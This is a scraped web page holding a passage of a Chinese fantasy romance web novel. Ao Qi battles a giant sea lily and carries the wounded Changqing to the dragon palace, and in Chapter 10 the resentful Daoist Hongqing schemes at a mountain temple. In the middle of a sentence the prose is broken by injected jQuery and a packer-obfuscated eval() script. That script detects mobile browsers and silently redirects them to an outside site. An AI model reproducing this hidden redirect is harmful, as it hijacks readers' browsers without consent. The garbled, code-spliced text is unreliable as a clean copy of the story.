$(''.inform'').remove(); $(''#content'').append('' ,听不真切,而后是激流翻滚,滔滔不绝,时不时还有闷哼和咒骂的声音。 海百合的触手实在太庞杂了,敖祈一时斩断,很快却又心生出来许多。还是想办法接近,让它像上次那样把自己系成团来得容易。 这么想着,她纵身朝前突进,一边靠近,一边在左右两侧快速移动,企图迷惑海百合,干扰它的判断,再趁它还没反应过来的同时,迅速从中心某点收紧,一举拿下。 然而常青不知道她的计划,只知道黑暗中敖祈的气息又远了几分,海水越来越凉,从他的伤口浸进去,沁得他渐渐麻木僵硬,从前熟悉的那种感觉再度攀升上来,巨大的恐慌就快要将他淹没。 他不得不费尽全身力气转动掌心,催动最后一点法力,倾力凝聚到触手勒紧他腰腹的位置上。 好在这个万年海百合虽然看起来庞大,但只是力气比较大,还没进化到无坚不摧的地步,随着尖锐的灼痛感急剧传来,它的触手痛苦地挛缩一阵后本能松开,将常青远远抛了出去。 “妖孽……受死。”痛苦和冷冽的神色在他清瘦的脸庞上纠缠交织,片刻后随着眼眸的黯然,一并消散。 一束微弱的青色光芒裹挟着鲜血,如同利剑一样从常青掌心滑出,朝着他坠去的反方向刺入海百合众多触手拥护的核心。 最终,庞大的海百合在模糊悠远的哀嚎声中,四分五裂,带着怨恨与不甘,跌入海底。 渺远的深渊下回荡着:“骗子——” 敖祈静静悬在海水的暗流中,待浑浊的水流恢复澄澈,仍没见到常青身影,也没有任何动静。 她歪着头凝眉静思须臾,感到奇怪。 “算了,救人要紧,虾兵蟹将能找到他的。” 正要飞身离开,忽然腰间玉玦挣动,泛着幽幽微光。 想来这种情况并不多见,仅有的几次发生在最近,还都似乎伴随着常青身上溢散的清香。 敖祈愣愣地低头盯着玉玦良久,总觉得应该找他问个清楚,说不定其中真有什么关联。 思及此处,玉玦绕过她的腰侧,猛一挣动,仿佛有什么力量在牵引着,要将她往水底下拉扯。敖祈也不慌乱,脚下一扑腾便扭转过身体,任由玉玦这股力量的指引,往水底下探去。 随着下沉,视线中一丛丛高大缤纷的珊瑚虫逐渐清晰,其中有一处,聚满了嬉戏的小鱼。 靠近再看,其实它们不是在钻珊瑚虫,而是正围着一个人。 常青就像睡着了一样面容平静地躺在珊瑚上,周遭的柔软艳丽衬托得他更加苍白。 敖祈扶起他上半身,让他靠在自己撑起的一条腿上,仰头看向水面。 不能再耽搁了。 既然人找到了,就不能放在这儿不管,眼下只好先把常青一起带回去。 “常青,如果你能听见我说话,再坚持一下,很快就到龙宫了。” “好冷……” “你说什么?” 敖祈拥着他往龙宫赶,因为着急,她根本听不清常青的低喃,只好倾耳贴过去,可还是什么也没听清,反倒被怀里的小白脸顺势抱得越来越紧。 有时候真怀疑,他是不是故意的。 常青也不知道。 万古的孤寂和迷雾中,冷雨、凉风……他早已习以为常,但是在冰冷到疼痛麻木的身躯中他偶然间找到一颗滚烫的种子,咚咚地欢快跳跃着,莫名吸引他靠近。 靠近,靠得再近一些。 * 晶莹剔透的龙宫中,敖煜端坐正殿,眼前是敖闯来回踱步。 “我说你就坐会儿吧,你都晃得我眼睛疼。” 敖煜忍不住控诉,但敖闯根本听不进去。 他甩着两只手,声音急躁:“你不是说他法力低微,修为尚浅嘛。他那么大一个人,还带着那么重的伤,怎么可能有本事从咱们眼皮子底下消失了。真是奇了怪了。” “守卫说只有一队去天界送赔礼的队伍出去,我已经派人去追了,你就先消停一会儿吧。” 10. 第 10 章 牵缘观。 敖祈离开后,观里的小道们腾出两个床位,自己往大通铺里挤一挤,供芈家侍从和另一个男人歇息。 碍于男女有别,他们先是专门下山告知芈家,一是通知女公子下落,免得家人着急;二也是想请他们家赶紧派遣合适的人上山来侍疾。而后道士们商量着,专门把敖祈那间屋子,也就是从前弘清道长独自居住的小院东侧腾出来,留给芈家女公子独居疗养,轻易不会踏进屋门。 对此弘清虽然表面摆出一副勉强的架子,但心里还算高兴,毕竟敖祈在这,横竖他也保不住那个舒适安逸的小院了,此时贡献出去倒也正好,再说那可是芈校人的女儿,侍奉好了便是功劳。 这不,他正蹲坐药炉旁边,亲自煽着小扇看顾,打算待会儿熬好了便立马端过去,最好能让芈家派来的人知道他弘清这号人的存在和牺牲。 如今扬州境内谁人不知,芈校人可是大将军王身边的红人,手握王马之政,掌管扬州城内最重要的军马调配和使用。 他救了女公子一命,就相当于救下了芈校人半条命。有了这份恩情,出于感激,芈校人一定会替他在大将军王面前牵线搭桥、多番美言,如此一来,日后就算姬小公子再上门来找他麻烦,也得看看他老子的面子,就连敖祈说不定也不能再为所欲为。 一想到翻身在望,弘清沧桑带伤的老脸上就浮起笑意,手上摇扇子的动作都忘了,然而美梦转瞬即逝,下一秒就听外头响起敖祈清亮的声音,浑身一颤,忙摸过放在墙边的拐杖柱上。 等弘清踏出门槛,敖祈已经被几个腿脚灵便的小道先行引去了小院东屋,只见一个青衣男子,被小道士背着跟在后面。 他没看到正面,没认出那是当时从敖祈剑下救了自己的人,只是远看那身绿衣裳便脸色一变,料想此事不同寻常。 赶忙抬腿就要追上去看看,只听身后一个小道追出屋子叫住他。 小道指着屋里咕嘟嘟的药炉盖子喊:“道长,药!药!” 弘清想都不想就回头急吼:“叫什么,我正忙着去号脉。再有半刻钟的功夫,你替我盛过来。” 赶到庙观东北角的小院时,屋里没有别人,只有敖祈和躺在榻上双眼紧闭的芈家女公子两人,敖祈背对着窗户,正用法力助她吸收玄冰。 寒气从屋内溢散出来,隔着还没糊上窗纸的木棱弘清情不自禁浑身一哆嗦,差点当场失禁,吓得他急忙捂住自己裆部的衣服,低头一看,还好没事,长舒一口凉气。 视线稍微偏移,再次注意到他那条还不能点地的伤腿,心中憾恨非常,明明他才不过四十出头,正是年富力强的好时候,又名声在外,怎么就被摧残成这副模样。 转念一想,这些全是拜敖祈所赐,心中的怨恨便又增了几分。 盛满漆黑仇恨的双眸透过窗子往里一瞧,只见一个散发着冰蓝色闪耀光芒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294627|167091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的石头被包裹在一团水中,轻飘飘地从敖祈掌心飞进芈家女公子心口,瞬间化为无形,好似融进身体里一般。 好大的神通,竟不用任何符纸和器物,此女定然是妖女。这么想着,弘清兀自站在门外出神。 屋内敖祈正伸手试探芈家女公子的额头,温度明显降下来许多,脸色也不再红得吓人,甚至看起来像是平日午睡小憩一样安宁,显然是在好转,就此也能安心许多,赶忙要往西去看那两个中蛇毒的男人。 “芈家派人过来了——” 院门口突然传来一阵疾呼,一个小道士上气不接下气地跑进来,被站在屋外的弘清正好喝住。 “跑什么跑?难不成芈校人亲自过来了吗?” 军队操练每日都要进行,贵人出行、射猎也需要随时调配马匹,就算芈校人再疼爱女儿,心急如焚也不能擅离职守,那可是大罪,累及全家可不是开玩笑的。 “不、不是,”小道士连连摆手,看到敖祈走出来才倒过气说,“是芈家的人带着兵械上山来啦,已经到庙观门口了。” “他们带兵械干嘛?”弘清惊问,一时摸不清头脑,有些懊恼。 敖祈侧目看见他脸色的变化,便知这老小子原来心里盘算着捞油水的算盘落空,不禁从鼻间哼出轻笑,转头冲小道扬了扬下巴,轻飘飘说道:“带路,会会去。” 她还不信了,这恩将仇报的人还能都让她遇上了。